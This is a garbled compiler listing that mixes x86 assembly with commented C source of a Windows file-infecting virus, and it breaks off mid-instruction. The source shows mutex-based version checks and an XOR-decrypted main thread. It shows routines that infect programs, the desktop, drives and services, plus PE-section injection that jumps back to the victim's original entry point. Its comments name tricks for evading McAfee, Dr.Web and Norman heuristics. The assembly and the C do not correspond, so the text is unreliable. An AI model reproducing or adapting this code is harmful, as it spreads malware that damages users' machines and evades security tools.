297 adddeb("===== !!! USER MODE !!! ====="); .line 297 movl -4(%ebp),%eax subl $248,%eax cmpl %eax,-136(%ebp) ja _$709 _$715: ; 298 #endif ; 299 .line 299 movl -136(%ebp),%eax addl %ebx,%eax movl %eax,-16(%ebp) ; 300 #ifdef dbgdbg ; 301 adddeb("CheckVersion... waiting for NO_OTHER"); ; 302 #endif ; 303 ; 304 loop:; ; 305 resver = CheckVersion(); .line 305 movzwl (,%eax),%eax cmpl $17744,%eax jne _$709 _$717: ; 306 .line 306 movl -16(%ebp),%eax cmpw $1,92(%eax) je _$709 _$719: ; 307 if (/*@S==*/resver == HI_DETECTED/*@E*/) .line 307 movl -16(%ebp),%eax cmpw $267,24(%eax) jne _$709 _$721: ; 308 { ; 309 #ifdef dbgdbg .line 309 movl -16(%ebp),%eax movl 60(%eax),%ecx movl %ecx,-496(%ebp) ; 310 adddeb("HIGHER VERSION DETECTED, ExitThread(1)"); .line 310 movl 56(%eax),%edx movl %edx,-456(%ebp) ; 311 #endif ; 312 _ExitThread(1); ; 313 } ; 314 ; 315 if (/*@S==*/resver == EQU_DETECTED/*@E*/) ; 316 { ; 317 #ifdef dbgdbg .line 317 cmpw $13,68(%eax) jne _$723 movl $8,%dl movb $8,26(%eax) cmpb $0,%dl je _$723 ; 318 adddeb("EQU_DETECTED, goto loop"); ; 319 __sleep(1000); .line 319 movzwl 70(%eax),%eax movl %eax,-250516(%ebp) ; 320 #else ; 321 __sleep(100); ; 322 #endif ; 323 ; 324 goto loop; ; 325 } ; 326 ; 327 #ifdef dbgdbg ; 328 adddeb("NO_OTHER!!!"); ; 329 #endif ; 330 ; 331 //--- Create mutexes and wait for release of version mutex ; 332 ; 333 _sprintf(mtx, "%s_mtx1", CLASSNAME); //@S // bugfix mutex1 (ver1 cant check high mutexes) ; 334 _sprintf(mtxv, "%s_mtx%u", CLASSNAME, VERSION); //@E // version mutex ; 335 ; 336 CreateOrOpenMutexes_WaitForMtx2Release(mtx, mtxv); // returns only if mtxv released or .line 336 cmpl $23,%eax jae _$709 ; 337 // created by our thread ; 338 ; 339 //--- Create Window ; 340 ; 341 //@S .line 341 _$725: ; 342 wtc.lpszClassName = (LPSTR)CLASSNAME; ; 343 wtc.hInstance = hI; ; 344 wtc.lpfnWndProc = WndProc; ; 345 wtc.hCursor = NULL; ; 346 wtc.hIcon = NULL; ; 347 wtc.lpszMenuName = NULL; ; 348 wtc.hbrBackground = (HBRUSH)COLOR_WINDOW; ; 349 wtc.style = CS_HREDRAW | CS_VREDRAW; ; 350 wtc.cbClsExtra = 0; .line 350 movl $1,-176(%ebp) _$723: ; 351 wtc.cbWndExtra = 0; ; 352 //@E ; 353 .line 353 cmpl $0,-176(%ebp) je _$728 ; 354 //@S ; 355 _RegisterClass(&wtc); ; 356 ; 357 #ifdef dbgdbg ; 358 flags = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX | WS_VISIBLE; ; 359 q = 10; .line 359 cmpl $6,-250516(%ebp) jae _$730 movl -16(%ebp),%eax addl $6,%eax subw $4,(,%eax) jmp _$728 _$730: ; 360 w = 300; .line 360 cmpl $13,-250516(%ebp) jae _$732 movl -16(%ebp),%eax addl $6,%eax subw $3,(,%eax) jmp _$728 _$732: ; 361 #else .line 361 cmpl $16,-250516(%ebp) jae _$734 movl -16(%ebp),%eax addl $6,%eax subw $2,(,%eax) jmp _$728 _$734: ; 362 flags = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX; .line 362 cmpl $17,-250516(%ebp) jae _$736 movl -16(%ebp),%eax addl $6,%eax decw (,%eax) jmp _$728 _$736: ; 363 q = 0; .line 363 movl -16(%ebp),%eax addl $6,%eax decw (,%eax) ; 364 w = 0; ; 365 #endif ; 366 //@E ; 367 ; 368 //--- Check Service Mutex .line 368 _$728: ; 369 ; 370 if ((sm = _OpenMutex(SYNCHRONIZE, FALSE, SERVICE_MTX))) ; 371 { ; 372 START_SVC = 0; //@S // service mutex detected - no services to start ; 373 _CloseHandle(sm); //@E ; 374 } ; 375 else START_SVC=5; // no mutex - 5 services to start ; 376 .line 376 movl -16(%ebp),%eax movl 128(%eax),%ecx movl %ecx,-24(%ebp) ; 377 #ifdef dbgdbg .line 377 movl 40(%eax),%eax movl %eax,-28(%ebp) ; 378 adddeb("***** SERVICE MUTEX %s CHECK ***** START_SVC:%u (0==mutex detected)",SERVICE_MTX,START_SVC); ; 379 #endif .line 379 andl $0,-164(%ebp) ; 380 ; 381 //--- ; 382 ; 383 //@S ; 384 hw = _CreateWindowEx(0, CLASSNAME, CLASSNAME, flags, q, q, w, w, NULL, NULL, hI, NULL); ; 385 sdelay = 0; .line 385 movl %ecx,%eax movl -28(%ebp),%edx cmpl %edx,%eax jbe _$738 addl _szinfcode,%edx cmpl %edx,%eax jb _$709 ; 386 ; 387 //--- EditOwnToken (enable OWNER priv) ; 388 EditOwnToken_or_CheckFiltered(FALSE); // this func has internal NT check, FALSE==Edit, TRUE==Check ; 389 //@E ; 390 .line 390 _$738: ; 391 InitInfectData(ticks, START_SVC); // Init infcode, decrypt dll, srand ; 392 // & infect inactive services, start START_SVC service ; 393 ; 394 ; 395 softfind(); // Infect Programs & Desktop .line 395 movl -24(%ebp),%eax movl -28(%ebp),%edx cmpl %edx,%eax jae _$740 movl -16(%ebp),%ecx addl 132(%ecx),%eax cmpl %edx,%eax ja _$709 ; 396 ; 397 // InitData(); // Init Grab Data ; 398 // StartGrab(); // Start Grabbers: comev, FFspy, Plugins, Certs + IE zones, ... ; 399 CloseCreateThreadEco(InfectAllDrives); // Create Drives Infecting thread ; 400 .line 400 _$740: ; 401 //--- ; 402 ; 403 while(_GetMessage(&m, NULL, 0, 0)) ; 404 { ; 405 _TranslateMessage(&m); .line 405 movl -136(%ebp),%eax addl $248,%eax movl -16(%ebp),%edx addl 212(%edx),%eax movl %eax,-184(%ebp) ; 406 _DispatchMessage(&m); .line 406 movzwl 6(%edx),%eax imul $40,%eax,%eax addl %eax,-184(%ebp) ; 407 } .line 407 addl $40,-184(%ebp) ; 408 ; 409 #ifdef EXEFILE ; 410 // we need this for exe debug (real import from kernel32.dll) ; 411 GetModuleHandle("kernel32.dll"); //Vista bugfix, instead of ExitThread ; 412 #endif ; 413 } ; 414 ; 415 #ifdef _MSC_VER ; 416 #pragma optimize("", off) ; 417 #else ; 418 #pragma optimize(off) ; 419 #endif .line 419 movl -16(%ebp),%eax movl 84(%eax),%eax cmpl %eax,-184(%ebp) ja _$709 ; 420 ; 421 /////////////////////////////////////////////////////////////// ; 422 // Create Main Thread - it's in func for better mutaion /////// ; 423 ; 424 void StartMainThread() ; 425 { .line 425 _$742: ; 426 //--- Start MainThread ; 427 ; 428 DWORD lpv; //@S ; 429 DWORD tid; ; 430 DWORD CS_THREADS = TRUE; //@E // enable CriticalSections in GetStrFromCrypt/LGetStrFromCrypt .line 430 _$744: ; 431 _CreateThread(NULL, 0, MainThread, &lpv, 0, &tid); ; 432 } .line 432 andl $0,-36(%ebp) ; 433 .line 433 andl $0,-44(%ebp) ; 434 /////////////////////////////////////////////////////////////// .line 434 andl $0,-148(%ebp) ; 435 // Entry point //////////////////////////////////////////////// ; 436 ; 437 // push ebp ; 438 // mov ebp, esp .line 438 andl $0,-4(%ebp) jmp _$748 _$745: ; 439 ; 440 #ifndef EXEFILE ; 441 ; 442 __declspec(dllexport) BOOL WINAPI LibMain() ; 443 .line 443 movl $40,%eax mull -4(%ebp) movl %eax,-250580(%ebp) movl -136(%ebp),%eax leal 248(%eax,%ebx),%eax movl -250580(%ebp),%edx movl %edx,%esi addl %eax,%esi ; 444 #else /* EXEFILE */ ; 445 .line 445 movl 12(%esi),%eax addl 8(%esi),%eax movl %eax,-250572(%ebp) ; 446 #ifdef _MSC_VER .line 446 movl 20(%esi),%eax addl 16(%esi),%eax movl %eax,-250576(%ebp) ; 447 #pragma optimize("", off) .line 447 movl -36(%ebp),%eax cmpl %eax,-250572(%ebp) jbe _$749 movl -250572(%ebp),%eax movl %eax,-36(%ebp) _$749: ; 448 #else .line 448 movl -44(%ebp),%eax cmpl %eax,-250576(%ebp) jbe _$751 movl -250576(%ebp),%eax movl %eax,-44(%ebp) _$751: ; 449 #pragma optimize(off) ; 450 #endif ; 451 ; 452 int main() ; 453 ; 454 #endif /* EXEFILE */ .line 454 movl -16(%ebp),%eax movl 168(%eax),%eax cmpl 12(%esi),%eax jb _$753 cmpl -250572(%ebp),%eax jae _$753 ; 455 ; 456 { .line 456 movl 20(%esi),%eax movl -16(%ebp),%edx addl 168(%edx),%eax subl 12(%esi),%eax movl %eax,-148(%ebp) _$753: ; 457 //@S ; 458 PE_HEADER *pe; ; 459 DWORD q, eiRVA, last_sect; ; 460 LPBYTE peadr; ; 461 ; 462 DWORD a0=(DWORD)MainThread; // any address inside our code .line 462 movl -24(%ebp),%eax movl 12(%esi),%edx cmpl %edx,%eax jb _$755 addl 8(%esi),%edx cmpl %edx,%eax jae _$755 ; 463 DWORD a =(DWORD)MainThread>>16; // align it by 64kb part1 ; 464 //@E .line 464 subl 12(%esi),%eax addl 20(%esi),%eax movl %eax,-40(%ebp) _$755: ; 465 a=a<<16; // align it by 64kb part2, splitted in 2 parts due to lcc compiler bug ; 466 // DWORD k=(k0>>(5+LNMB1+LNMB0))<<(5+LNMB1+LNMB0); ; 467 ; 468 // --- Find Our PE header ; 469 ; 470 // step can be only 2^x, where x from 0 to 16 (1-0x10000) .line 470 movl -28(%ebp),%eax movl 12(%esi),%edx cmpl %edx,%eax jb _$757 addl 8(%esi),%edx cmpl %edx,%eax jae _$757 ; 471 // to kill McAfee heuristic we use this ; 472 ; 473 a = FindPEheader(a, a0, 4, &pe); // _NG == NO GLOBALS inside func ; 474 ; 475 // --- Get import table RVA .line 475 subl 12(%esi),%eax addl 20(%esi),%eax movl %eax,-164(%ebp) ; 476 ; 477 eiRVA = pe->importrva; //exe import RVA ; 478 ; 479 // --- import table (get addr of first imported from kernel32 func) .line 479 movl -28(%ebp),%eax subl 12(%esi),%eax movl %eax,-250584(%ebp) ; 480 .line 480 movl 16(%esi),%eax subl -250584(%ebp),%eax movl %eax,-250588(%ebp) ; 481 for (q = 0; q < pe->importsize; q += SZIDTE) // sizeof(IMPORT_DIRECTORY_TABLE_ENTRY) ; 482 { ; 483 IMPORT_DIRECTORY_TABLE_ENTRY *idte=(LPVOID)(/*@S+*/a+eiRVA+q/*@E*/); ; 484 ; 485 if (/*@S==*/idte->ImportLookUp==0/*@E*/) break; //@S ; 486 if (/*@S!=*/_KERNEL32 != NULL/*@E*/) break; //@E ; 487 .line 487 cmpl %eax,_szinfcode ja _$709 _$759: ; 488 ProcessDLLimports(a, idte); .line 488 _$757: ; 489 } .line 489 .line 438 incl -4(%ebp) _$748: movl -16(%ebp),%eax movzwl 6(%eax),%eax cmpl %eax,-4(%ebp) jb _$745 ; 490 ; 491 if (/*@S==*/_KERNEL32 == NULL/*@E*/) return; ; 492 ; 493 // --- decrypt main thread .line 493 andl $0,-484(%ebp) ; 494 ; 495 #ifdef RUNLINE .line 495 cmpl $0,-148(%ebp) je _$761 ; 496 ; 497 #ifdef EXEFILE ; 498 adddeb("Decrypt MainThread addr:%X size:%X",MainThread,MainThread_size); .line 498 andl $0,-250576(%ebp) ; 499 #endif ; 500 .line 500 andl $0,-4(%ebp) jmp _$766 _$763: ; 501 { ; 502 unsigned char *bb=MainThread; //@S .line 502 movl -148(%ebp),%edx movl %edx,-250584(%ebp) movl $28,%eax movl %eax,-250580(%ebp) mull -4(%ebp) movl %eax,-250588(%ebp) movl -250584(%ebp),%eax movl -250588(%ebp),%edx addl %edx,%eax addl %ebx,%eax movl %eax,-250572(%ebp) ; 503 DWORD i=0; //@E ; 504 for (q = 0; q < MainThread_size; q++) ; 505 { bb[q]=bb[q]^MainThread_key[i]; i++; if (i==4) i=0; } ; 506 ; 507 #ifdef EXEFILE ; 508 adddeb("Decrypted OK"); .line 508 movl -250576(%ebp),%edx cmpl %edx,24(%eax) jbe _$767 movl 24(%eax),%eax movl %eax,-250576(%ebp) _$767: ; 509 #endif .line 509 movl -250572(%ebp),%eax movl -44(%ebp),%edx cmpl %edx,24(%eax) jb _$769 movl 16(%eax),%eax addl %eax,-484(%ebp) _$769: ; 510 } .line 510 .line 500 incl -4(%ebp) _$766: movl -16(%ebp),%edi movl 172(%edi),%eax movl $28,%ecx shrl $2,%eax movl $0x24924925,%edx mull %edx movl %edx,-250580(%ebp) movl %edx,%edi cmpl %edi,-4(%ebp) jb _$763 ; 511 ; 512 #endif /* RUNLINE */ ; 513 ; 514 .line 514 pushl -496(%ebp) pushl -250576(%ebp) call _align addl $8,%esp movl %eax,-250576(%ebp) ; 515 //--- ; 516 //@S ; 517 StartMainThread(); ; 518 ; 519 //--- Get C_CODE len, data section vadr, EP vadr ; 520 ; 521 szinfcode=WriteOrGetLen_C_CODE(NULL, NULL, 0, 0); ; 522 ; 523 //--- Get Last Section .line 523 cmpl $0,-176(%ebp) jne _$761 movl -144(%ebp),%eax cmpl %eax,-44(%ebp) je _$761 ; 524 ; 525 last_sect = pe->numofobjects - 1; .line 525 subl -44(%ebp),%eax movl %eax,-250584(%ebp) ; 526 peadr = pe; // we use LPBYTE, becouse C math use size of structure in such operations ; 527 //@E ; 528 ; 529 //--- ; 530 ; 531 #ifdef EXEFILE .line 531 movl -44(%ebp),%eax cmpl %eax,-250576(%ebp) je _$761 ; 532 loop:; sleep(0); goto loop; ; 533 #endif ; 534 ; 535 //--- restore original victim exe code after entrypoint ; 536 .line 536 _$773: ; 537 #ifndef EXEFILE ; 538 { ; 539 DWORD q=0; .line 539 movl -16(%ebp),%eax movl 152(%eax),%edx cmpl %edx,-44(%ebp) jne _$709 movl 156(%eax),%eax cmpl %eax,-250584(%ebp) jne _$709 ; 540 DWORD old_prot; ; 541 BYTE b; ; 542 unsigned char *ep_code; ; 543 PE_OBJENTRY *lastsect = /*@S+*/peadr+SZPE+SZOBJE*last_sect/*@E*/; // get the last section ; 544 .line 544 movl -44(%ebp),%eax movl %eax,-144(%ebp) ; 545 // some applications (vista infocard.exe) changes pe->entrypointrva after start. (NET framework) .line 545 movl -16(%ebp),%eax andl $0,152(%eax) ; 546 // old: unsigned char *ep_code = (LPSTR)(pe->imagebase + pe->entrypointrva); .line 546 andl $0,156(%eax) ; 547 .line 547 ; 548 //@S ; 549 upx_sect = (LPSTR)(/*@S+*/pe->imagebase + lastsect->virtrva/*@E*/); // UPX0 ; 550 my_strcpy(SECTNAME,lastsect->name); // save section name - we'll use it for infecting files ; 551 //@E .line 551 ; 552 ; 553 //@S .line 553 _$761: ; 554 SECTNAME[8]=0; // not more than 8 chars len ; 555 ep_code = (LPSTR)(/*@S+*/pe->imagebase + GetVictimEP()/*@E*/); ; 556 ; 557 upx_sect=(LPSTR)fool_drweb((DWORD)upx_sect); // dr.web anti-heur (takes about 0.12 sec) .line 557 cmpl $0,-176(%ebp) je _$778 movl -44(%ebp),%eax addl -484(%ebp),%eax movl %eax,-144(%ebp) _$778: ; 558 ; 559 //@E ; 560 _VirtualProtect(ep_code, szinfcode, PAGE_EXECUTE_READWRITE, &old_prot); ; 561 ; 562 next:; ; 563 { ; 564 DWORD antinorm2_trash, antinorm1_trash=555; //@S ; 565 b = upx_sect[q]; //@E //anti Norman, old: ep_code[q]=upx_sect[q]; ; 566 ep_code[q]=b; //@S // ; 567 antinorm2_trash=666; //@E .line 567 pushl -456(%ebp) pushl -36(%ebp) call _align addl $8,%esp movl %eax,-36(%ebp) ; 568 q++; ; 569 } ; 570 if (q < szinfcode) goto next; ; 571 } ; 572 ; 573 //--- asm block: peredelka vlechet izmenenie _peinf.c v bloke: --- set 'jmp EP' at the end of LibMain ; 574 ; 575 #ifdef _MSC_VER ; 576 _asm ; 577 { ; 578 _emit 0xC9 .line 578 movl -44(%ebp),%eax cmpl %eax,-144(%ebp) je _$780 movl -16(%ebp),%eax cmpl $0,168(%eax) je _$709 ; 579 _emit 0x61 ; 580 _emit 0xE9; _emit 0x00; _emit 0x00; _emit 0x00; _emit 0x00 ; 581 } ; 582 #else ; 583 _asm .line 583 _$780: ; 584 ( ; 585 ".byte 0xC9 \n" // leave ; 586 ".byte 0x61 \n" // popad ; 587 ".byte 0xE9,0x00,0x00,0x00,0x00 \n" // jmp orig_EP ; 588 ".byte 0xC3 \n" // retn - NOT USED, JUST SIGNATURE FOR SEARCH .line 588 cmpl $0,-176(%ebp) je _$782 cmpl $17,-250516(%ebp) jae _$782 cmpl $0,-164(%ebp) jne _$782 ; 589 ); ; 590 #endif ; 591 ; 592 #endif /* EXEFILE */ ; 593 } ; 594 ; 595 #ifdef _MSC_VER ; 596 #pragma optimize("", off) ; 597 #else ; 598 #pragma optimize(off) .line 598 pushl -496(%ebp) pushl -144(%ebp) call _align addl $8,%esp movl %eax,-460(%ebp) ; 599 #endif .line 600 movl $7,-12(%ebp) _$784: movl -460(%ebp),%eax addl -12(%ebp),%eax movzbl (%ebx,%eax),%eax cmpl $233,%eax je _$786 _$788: incl -12(%ebp) cmpl $50,-12(%ebp) jb _$784 _$786: .line 606 cmpl $50,-12(%ebp) je _$709 _$790: .line 608 movl -460(%ebp),%eax movl -12(%ebp),%edx leal 1(%eax,%edx),%eax movl (%ebx,%eax),%eax movl %eax,-250532(%ebp) .line 609 movl -16(%ebp),%eax movl 52(%eax),%edx addl 40(%eax),%edx movl %edx,%eax addl -12(%ebp),%eax movl %eax,-250528(%ebp) .line 610 movl -250532(%ebp),%eax subl $0xffffffff,%eax movl -250528(%ebp),%edx leal 4(%eax,%edx),%eax movl %eax,-250520(%ebp) .line 622 movl -16(%ebp),%eax movl -250520(%ebp),%edx subl 52(%eax),%edx movl %edx,40(%eax) .line 623 movl -250520(%ebp),%eax movl -16(%ebp),%edx subl 52(%edx),%eax movl %eax,-28(%ebp) .line 635 jmp _$744 _$782: .line 640 cmpl $0,-176(%ebp) je _$792 cmpl $17,-250516(%ebp) jb _$792 .line 642 pushl -496(%ebp) pushl -456(%ebp) pushl -164(%ebp) pushl -250568(%ebp) pushl -144(%ebp) pushl %ebx pushl 8(%ebp) call _ReinfectSince17 addl $28,%esp movl %eax,-250572(%ebp) .line 643 test %eax,%eax je _$709 _$794: .line 644 _$792: .line 658 andl $0,-188(%ebp) .line 660 andl $0,-4(%ebp) jmp _$799 _$796: .line 664 movl -40(%ebp),%eax addl -4(%ebp),%eax addl %ebx,%eax movl %eax,-250832(%ebp) .line 665 cmpl $0,(,%eax) je _$798 _$800: .line 667 movl -250832(%ebp),%eax movl 12(%eax),%eax subl -24(%ebp),%eax addl -40(%ebp),%eax movl %eax,-250836(%ebp) .line 670 addl %ebx,%eax pushl %eax leal -250827(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp .line 676 andl $0,-250572(%ebp) jmp _$805 _$802: .line 677 movl -250572(%ebp),%eax movb -250827(%ebp,%eax),%al cmpb $97,%al jle _$806 cmpb $122,%al jge _$806 movl -250572(%ebp),%eax leal -250827(%ebp,%eax),%eax subb $32,(,%eax) _$806: .line 676 incl -250572(%ebp) _$805: movl -250572(%ebp),%eax cmpb $0,-250827(%ebp,%eax) jne _$802 .line 679 cmpb $75,-250827(%ebp) jne _$808 cmpb $69,-250826(%ebp) jne _$808 cmpb $82,-250825(%ebp) jne _$808 cmpb $76,-250822(%ebp) jne _$808 cmpb $51,-250821(%ebp) jne _$808 cmpb $50,-250820(%ebp) jne _$808 movl $1,-188(%ebp) _$808: .line 684 .line 660 addl $20,-4(%ebp) _$799: movl -16(%ebp),%eax movl 132(%eax),%eax cmpl %eax,-4(%ebp) jb _$796 _$798: .line 686 cmpl $0,-188(%ebp) je _$709 _$815: .line 691 movl -16(%ebp),%eax orw $1,22(%eax) .line 692 cmpw $0,94(%eax) je _$817 addl $94,%eax movzwl (,%eax),%edx xorl $64,%edx movw %dx,(,%eax) _$817: .line 696 movl _szinfcode,%eax leal -250496(%ebp,%eax),%eax movl %eax,-32(%ebp) .line 697 movl 60(%eax),%eax movl %eax,-48(%ebp) .line 698 addl -32(%ebp),%eax movl %eax,-140(%ebp) .line 700 cmpl $0,-176(%ebp) jne _$821 _$819: .line 704 movl -16(%ebp),%eax cmpl $0,208(%eax) je _$821 cmpl $0,212(%eax) je _$821 movl -184(%ebp),%edx cmpl %edx,84(%eax) jbe _$821 .line 712 movl -136(%ebp),%eax addl $248,%eax movl -16(%ebp),%edx movzwl 6(%edx),%edx imul $40,%edx,%edx addl %edx,%eax movl %eax,-250572(%ebp) .line 713 addl $40,%eax movl %eax,-250576(%ebp) .line 720 movl -16(%ebp),%eax pushl 212(%eax) movl -250572(%ebp),%eax addl %ebx,%eax pushl %eax movl -250576(%ebp),%eax addl %ebx,%eax pushl %eax call *__memcpy addl $12,%esp .line 721 movl -16(%ebp),%eax addl $208,%eax addl $40,(,%eax) .line 726 _$821: .line 728 pushl -496(%ebp) pushl -144(%ebp) call _align movl %eax,-144(%ebp) .line 736 pushl $4096 movl _dll_len,%eax addl _szinfcode,%eax pushl %eax call _align addl $16,%esp movl %eax,-250500(%ebp) .line 738 movl -16(%ebp),%eax movzwl 6(%eax),%eax imul $40,%eax,%eax movl -136(%ebp),%edx leal 248(%edx,%ebx),%edx movl %eax,%esi addl %edx,%esi .line 746 cmpb $0,_SECTNAME jne _$824 pushl $_$826 pushl %esi call _my_strcpy addl $8,%esp jmp _$825 _$824: pushl $_SECTNAME pushl %esi call _my_strcpy addl $8,%esp _$825: .line 747 pushl $12 pushl $0 movl %esi,%eax addl $24,%eax pushl %eax call *__memset .line 748 movl -250500(%ebp),%eax movl %eax,8(%esi) .line 749 movl -36(%ebp),%eax movl %eax,12(%esi) .line 750 movl -250500(%ebp),%eax movl %eax,16(%esi) .line 751 movl -144(%ebp),%eax movl %eax,20(%esi) .line 752 movl $0xe0000000,36(%esi) .line 761 pushl -496(%ebp) movl -144(%ebp),%eax addl 16(%esi),%eax pushl %eax call _align movl %eax,-144(%ebp) .line 762 movl -250500(%ebp),%eax addl %eax,-36(%ebp) .line 763 pushl -456(%ebp) pushl -36(%ebp) call _align movl %eax,-36(%ebp) .line 764 movl -16(%ebp),%eax addl $6,%eax incw (,%eax) .line 765 pushl -456(%ebp) movl 12(%esi),%eax addl 8(%esi),%eax pushl %eax call _align addl $36,%esp movl -16(%ebp),%edx movl %eax,80(%edx) .line 774 call *__rand movl %eax,%edi movl $253,%ecx cdq idivl %ecx movl %edx,%edi incl %edi movl %di,%dx movb %dl,-17(%ebp) .line 776 movl -32(%ebp),%edi movl _dll_len,%edx shrl $12,%edx movb %dl,1(%edi) .line 777 movl %edi,%eax movzbl -17(%ebp),%edx xorl $77,%edx movb %dl,(,%eax) .line 778 movl %edi,%eax cmpb $10,1(%eax) jle _$827 call *__rand movl %eax,%edi movl -32(%ebp),%edx incl %edx movl %edx,-250580(%ebp) movsbl (,%edx),%ecx movl %ecx,-250572(%ebp) movl %edi,%eax movl %eax,-250576(%ebp) movl $10,%ecx cdq idivl %ecx movl -250572(%ebp),%edi subl %edx,%edi movl %di,%dx movl -250580(%ebp),%edi movb %dl,(,%edi) _$827: .line 780 movl -32(%ebp),%eax movl _dll_len,%edi movsbl 1(%eax),%edx sall $12,%edx subl %edx,%edi shrl $9,%edi movl %di,%dx movb %dl,2(%eax) .line 784 movb _VIRULENCE,%al cmpb $51,%al jae _$829 call *__rand movl %eax,%edi movl -32(%ebp),%edx movl %edx,-250588(%ebp) movl %edi,%eax movl %eax,-250584(%ebp) movl $50,%ecx cdq idivl %ecx movl -250588(%ebp),%edi movb %dl,64(%edi) jmp _$830 _$829: movl -32(%ebp),%eax movzbl _VIRULENCE,%edx movb %dl,64(%eax) _$830: .line 790 movl -32(%ebp),%eax movl -16(%ebp),%edx movl 40(%edx),%edx movl %edx,65(%eax) .line 794 movl $69,-12(%ebp) jmp _$834 _$831: .line 795 call *__rand movl %eax,%edi movl -12(%ebp),%edx movl %edx,-250600(%ebp) movl -32(%ebp),%ecx movl %ecx,-250592(%ebp) movl %edi,%eax movl %eax,-250596(%ebp) movl $255,%ecx cdq idivl %ecx movl -250592(%ebp),%edi movl -250600(%ebp),%ecx movb %dl,(%edi,%ecx) .line 794 incl -12(%ebp) _$834: movl -48(%ebp),%eax addl $2,%eax cmpl %eax,-12(%ebp) jb _$831 .line 800 pushl _szinfcode movl -164(%ebp),%eax addl %ebx,%eax pushl %eax leal -250496(%ebp),%eax pushl %eax call *__memcpy .line 801 movl _dll_len,%eax addl _szinfcode,%eax pushl %eax leal -250496(%ebp),%eax pushl %eax movl 20(%esi),%eax addl %ebx,%eax pushl %eax call *__memcpy addl $24,%esp .line 815 movl 20(%esi),%eax addl _szinfcode,%eax movl %eax,-250536(%ebp) .line 816 addl $3,%eax movl %eax,-160(%ebp) .line 822 movl %eax,-12(%ebp) jmp _$838 _$835: movl -12(%ebp),%eax addl %ebx,%eax movzbl (,%eax),%edx movzbl -17(%ebp),%ecx xorl %ecx,%edx movb %dl,(,%eax) incl -12(%ebp) _$838: movl -160(%ebp),%eax addl _dll_len,%eax cmpl %eax,-12(%ebp) jb _$835 .line 830 andl $0,-4(%ebp) jmp _$842 _$839: .line 832 movl $40,%eax mull -4(%ebp) movl %eax,-250604(%ebp) movl -48(%ebp),%eax movl -32(%ebp),%edx leal 248(%eax,%edx),%eax movl -250604(%ebp),%edx addl %eax,%edx movl %edx,-8(%ebp) .line 842 movl %edx,%eax cmpb $101,1(%eax) jne _$843 .line 844 movl 20(%edx),%eax movl %eax,-192(%ebp) .line 845 movl 12(%edx),%eax movl %eax,-468(%ebp) .line 850 jmp _$840 _$843: .line 854 movl -8(%ebp),%eax cmpb $116,1(%eax) jne _$845 .line 856 movl 12(%eax),%ecx movl %ecx,-172(%ebp) .line 857 movl 8(%eax),%edx movl %edx,-488(%ebp) .line 858 movl 20(%eax),%eax movl %eax,-196(%ebp) .line 859 movl -8(%ebp),%eax movl 16(%eax),%eax movl %eax,-132(%ebp) .line 864 jmp _$840 _$845: .line 868 movl -8(%ebp),%eax cmpb $100,1(%eax) jne _$847 .line 870 movl 12(%eax),%ecx movl %ecx,-180(%ebp) .line 871 movl 8(%eax),%edx movl %edx,-480(%ebp) .line 872 movl 20(%eax),%eax movl %eax,-472(%ebp) .line 873 movl -8(%ebp),%eax movl 16(%eax),%eax movl %eax,-476(%ebp) .line 878 jmp _$840 _$847: .line 881 movl -8(%ebp),%eax cmpb $114,1(%eax) jne _$840 .line 883 movl 20(%eax),%eax movl %eax,-464(%ebp) .line 888 .line 892 _$840: .line 830 incl -4(%ebp) _$842: movl -140(%ebp),%eax movzwl 6(%eax),%eax cmpl %eax,-4(%ebp) jb _$839 .line 897 cmpl $0,-176(%ebp) jne _$851 .line 899 movl -16(%ebp),%eax addl $96,%eax movl -140(%ebp),%edx movl 96(%edx),%edx addl %edx,(,%eax) .line 900 movl -16(%ebp),%eax addl $104,%eax movl -140(%ebp),%edx movl 104(%edx),%edx addl %edx,(,%eax) _$851: .line 905 movl -16(%ebp),%eax movw $13,68(%eax) .line 906 movb $8,26(%eax) .line 907 movw $23,70(%eax) .line 911 movl -192(%ebp),%eax addl -32(%ebp),%eax movl %eax,-250544(%ebp) .line 912 movl -192(%ebp),%eax movl -250544(%ebp),%edx addl 28(%edx),%eax subl -468(%ebp),%eax movl %eax,-250548(%ebp) .line 914 addl -32(%ebp),%eax movl %eax,-250552(%ebp) .line 915 movl (,%eax),%eax movl %eax,-250556(%ebp) .line 919 subl -172(%ebp),%eax movl %eax,-250560(%ebp) .line 928 movl 12(%esi),%eax movl -16(%ebp),%edx addl 52(%edx),%eax addl _szinfcode,%eax movl %eax,-492(%ebp) .line 929 addl -464(%ebp),%eax movl %eax,-250540(%ebp) .line 930 movl 52(%edx),%eax addl -36(%ebp),%eax movl %eax,-250504(%ebp) .line 934 movl -492(%ebp),%eax movl %eax,-128(%ebp) .line 936 addl -196(%ebp),%eax movl %eax,-124(%ebp) .line 937 movl -132(%ebp),%eax movl %eax,-120(%ebp) .line 938 movl -250504(%ebp),%eax movl %eax,-116(%ebp) .line 940 movl -492(%ebp),%eax addl -472(%ebp),%eax movl %eax,-112(%ebp) .line 941 movl -476(%ebp),%eax movl %eax,-108(%ebp) .line 942 movl -250504(%ebp),%eax addl -180(%ebp),%eax subl -172(%ebp),%eax movl %eax,-104(%ebp) .line 944 movl -250540(%ebp),%eax movl %eax,-100(%ebp) .line 945 movl 52(%edx),%eax movl %eax,-96(%ebp) .line 946 movl -140(%ebp),%eax movl 52(%eax),%eax movl %eax,-92(%ebp) .line 947 movl -250540(%ebp),%eax movl -140(%ebp),%edx addl 164(%edx),%eax movl %eax,-88(%ebp) .line 949 movl -172(%ebp),%eax movl %eax,-84(%ebp) .line 950 movl -180(%ebp),%eax movl %eax,-80(%ebp) .line 951 movl _dll_len,%eax movl %eax,-76(%ebp) .line 952 call *__rand movl %eax,%edi call *__rand movl %eax,-250604(%ebp) call *__rand movl %eax,%edx movl %edx,-250612(%ebp) movl %edi,%eax movl %eax,-250608(%ebp) movl $255,%ecx cdq idivl %ecx movl %edx,%edi sall $24,%edi movl -250604(%ebp),%edx movl %edx,%eax movl $255,%ecx cdq idivl %ecx sall $16,%edx addl %edx,%edi movl -250612(%ebp),%edx movl %edx,%eax movl $255,%ecx cdq idivl %ecx sall $8,%edx addl %edx,%edi movzbl -17(%ebp),%edx addl %edx,%edi movl %edi,-72(%ebp) .line 954 movl -250504(%ebp),%eax addl -250560(%ebp),%eax movl %eax,-250564(%ebp) .line 963 pushl $4096 pushl -480(%ebp) call _align movl -180(%ebp),%edx subl -172(%ebp),%edx leal 4096(%edx,%eax),%edi movl %edi,-250508(%ebp) .line 965 movl %edi,%eax addl 